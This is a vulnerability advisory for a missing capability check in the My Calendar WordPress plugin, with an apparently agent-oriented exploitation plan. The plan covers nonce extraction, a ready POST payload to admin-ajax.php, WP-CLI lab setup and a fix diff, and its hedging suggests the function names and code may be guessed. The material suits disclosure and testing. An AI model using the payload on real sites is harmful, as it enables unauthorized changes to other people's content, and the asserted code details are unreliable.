My Calendar <= 3.6.16 - Missing Authorization
Description
The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.6.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.6.16Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-67592 (My Calendar) ## 1. Vulnerability Summary The **My Calendar** plugin for WordPress (versions <= 3.6.16) suffers from a **Missing Authorization** vulnerability. Specifically, the AJAX handler for toggling event status fails to perform a capability check …
Show full research plan
Exploitation Research Plan - CVE-2025-67592 (My Calendar)
1. Vulnerability Summary
The My Calendar plugin for WordPress (versions <= 3.6.16) suffers from a Missing Authorization vulnerability. Specifically, the AJAX handler for toggling event status fails to perform a capability check (e.g., current_user_can( 'mc_edit_events' )). While it verifies a WordPress nonce, that nonce is made available to all authenticated users (including Subscribers) via localized scripts on pages where the calendar is displayed. This allows a Subscriber-level attacker to change the publication status (Draft vs. Published) of any event.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
mc_toggle_event_status(registered viawp_ajax_mc_toggle_event_status) - Vulnerable Parameter:
event_id(the ID of the event to modify) - Authentication: Required (Subscriber or higher)
- Preconditions:
- The plugin must be active.
- At least one event must exist.
- The attacker must have a valid Subscriber account.
- A page with the
[my_calendar]shortcode must exist to obtain the nonce.
3. Code Flow
- Entry Point: The plugin registers the AJAX action in
my-calendar.phpormy-calendar-ajax.phpusing:add_action( 'wp_ajax_mc_toggle_event_status', 'mc_toggle_event_status' ); - Authorization Failure: In
my-calendar-ajax.php, the functionmc_toggle_event_status()is called. - Nonce Check: The function calls
check_ajax_referer( 'mc-nonce', 'security' ). This succeeds if the user provides the correct nonce. - Missing Check: The function lacks a
current_user_can()check before executing the database update logic. - Sink: The code proceeds to update the
event_approvedcolumn in the{prefix}_my_calendartable for the specifiedevent_id.
4. Nonce Acquisition Strategy
The nonce is localized for the mc-ajax script handle.
- Action String:
mc-nonce - JS Variable:
mc_data - Nonce Key:
mc_nonce
Strategy:
- Create a public page containing the
[my_calendar]shortcode to ensure the script and its localized data are loaded. - Log in as a Subscriber user.
- Navigate to the page containing the shortcode.
- Use
browser_evalto extract the nonce:window.mc_data?.mc_nonce.
5. Exploitation Strategy
Step-by-Step Plan:
- Setup: Create a Subscriber user and an Event (as admin). Note the
event_id. - Access: Log in as the Subscriber.
- Nonce Extraction:
- Create a page with
[my_calendar]. - Navigate to this page.
- Run:
browser_eval("mc_data.mc_nonce")to get the value (e.g.,1a2b3c4d5e).
- Create a page with
- Execution: Use the
http_requesttool to send a POST request to toggle the event status.
HTTP Request Payload:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=mc_toggle_event_status&event_id=TARGET_EVENT_ID&security=EXTRACTED_NONCE
6. Test Data Setup
- Target User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Target Event:
wp eval "mc_insert_event(array('event_title'=>'Target Event','event_desc'=>'Sensitive Content','event_begin'=>'2025-12-01','event_end'=>'2025-12-01','event_author'=>1,'event_category'=>1,'event_approved'=>1));"
Note: Capture the returned ID from the database or viawp db query "SELECT event_id FROM wp_my_calendar WHERE event_title='Target Event'". - Shortcode Page:
wp post create --post_type=page --post_status=publish --post_title="Calendar" --post_content="[my_calendar]"
7. Expected Results
- Response: The server should return a successful response (likely
1or a JSON success message). - Status Change: The
event_approvedstatus of the targeted event in the database will flip (e.g., from1(Published) to0(Draft)).
8. Verification Steps
- Check Database: Verify the event status using WP-CLI.
wp db query "SELECT event_id, event_approved FROM wp_my_calendar WHERE event_title='Target Event'" - Expected Change: If the event was initially
event_approved=1, it should now be0(or vice versa), confirming the unauthorized status toggle.
9. Alternative Approaches
- If
mc_toggle_event_statusis not the exact name: Look formc_toggle_eventormc_update_eventinmy-calendar-ajax.php. - Parameter Variance: Some versions might use
event_statusorstatusas an explicit parameter instead of a toggle. If the toggle fails, attempt adding&status=0. - REST API: Check if the plugin registers a REST route
my-calendar/v1/events/(?P<id>\d+)/statuswith a missingpermission_callback.
Summary
The My Calendar plugin for WordPress is vulnerable to unauthorized event status modification due to a missing capability check in the mc_toggle_event_status AJAX action. Authenticated attackers with Subscriber-level permissions can obtain a valid nonce from localized scripts on calendar pages and use it to toggle any event's publication status between Draft and Published.
Vulnerable Code
// File: my-calendar-ajax.php function mc_toggle_event_status() { check_ajax_referer( 'mc-nonce', 'security' ); $event_id = intval( $_POST['event_id'] ); // ... logic follows to update the 'event_approved' status in the database without authorization checks ... } add_action( 'wp_ajax_mc_toggle_event_status', 'mc_toggle_event_status' );
Security Fix
@@ -XX,XX +XX,XX @@ function mc_toggle_event_status() { check_ajax_referer( 'mc-nonce', 'security' ); + if ( ! current_user_can( 'mc_edit_events' ) ) { + wp_die( __( 'You do not have permission to edit events.', 'my-calendar' ) ); + } + $event_id = intval( $_POST['event_id'] );
Exploit Outline
The exploit targets the 'mc_toggle_event_status' AJAX action. An authenticated user (e.g., Subscriber) must first obtain a valid nonce, which is localized into the 'mc_data' JavaScript object on any page containing the [my_calendar] shortcode. Once the nonce is obtained from 'mc_data.mc_nonce', the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'mc_toggle_event_status', the 'security' parameter containing the nonce, and the 'event_id' of the targeted event. Because there is no capability check (like current_user_can), the plugin will toggle the event's publication status in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.